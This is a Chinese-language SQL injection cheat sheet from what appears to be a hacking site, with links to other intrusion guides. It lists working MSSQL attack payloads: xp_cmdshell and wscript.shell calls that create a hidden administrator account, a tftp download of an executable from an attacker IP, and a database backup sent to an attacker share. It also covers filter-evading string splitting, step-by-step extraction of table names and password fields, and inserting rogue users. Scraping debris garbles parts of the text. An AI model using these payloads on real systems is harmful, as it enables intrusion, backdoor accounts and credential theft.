启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
;
DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC
SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user
jiaoniang$Content$nbsp;1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE
wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null,
C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$Content$nbsp;/add
;
exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to
disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset
(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin
hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and
right(left(userpass,01),1)=1) and userpass
select 123;--
;use
master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1(select
count (email) from [user]);--
;update [users] set email=(select top 1 name
from sysobjects where xtype=u and status>0) where name=ffff;--
;update
[users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)
where name=ffff;--
;update [users] set email=(select top 1 name from
sysobjects where xtype=u and id>581577110) where name=ffff;--
;update
[users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where
name=ffff;--
;update [users] set email=(select top 1 name from password
where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into
users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert
into users values( 667,123,123,0xffff)--
insert into users values ( 123,
admin--, password, 0xffff)--
;and user>0
;and (select count(*) from
sysobjects)>0
;and (select count(*) from mysysobjects)>0
//为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1
name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。
;update aaa set
aaa=(select top 1 name from sysobjects where xtype=u and status>0 and
namevote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1
col_blank>_name (object_blank>_id(表名),1));--
然后id=152 and
exists(select * from aaa where aaa>5)出错,得到字段名
| 入侵网站必备经典语句 | 01-17 | |
| 新or注入教程 | 09-10 | |
| Mssql2005注入命令总结 | 07-30 | |
| 阿D常用注入命令汇总 | 07-30 | |
| Penetration Testing 渗透测试 | 07-04 | |
| Exploit Sites 和0day公布的站点 | 06-18 | |
| 3389得到肉鸡后的命令 | 06-18 | |
| Cmd模式下的入侵技术大全 | 05-30 | |
| 阿D常用注入命令整理 | 05-17 | |
| opendatasource学习记录 | 05-14 | |
| SQL Injection规避入侵检测技术总 | 05-06 | |
| 最新详细的SQL注入相关的命令整理 | 04-30 | |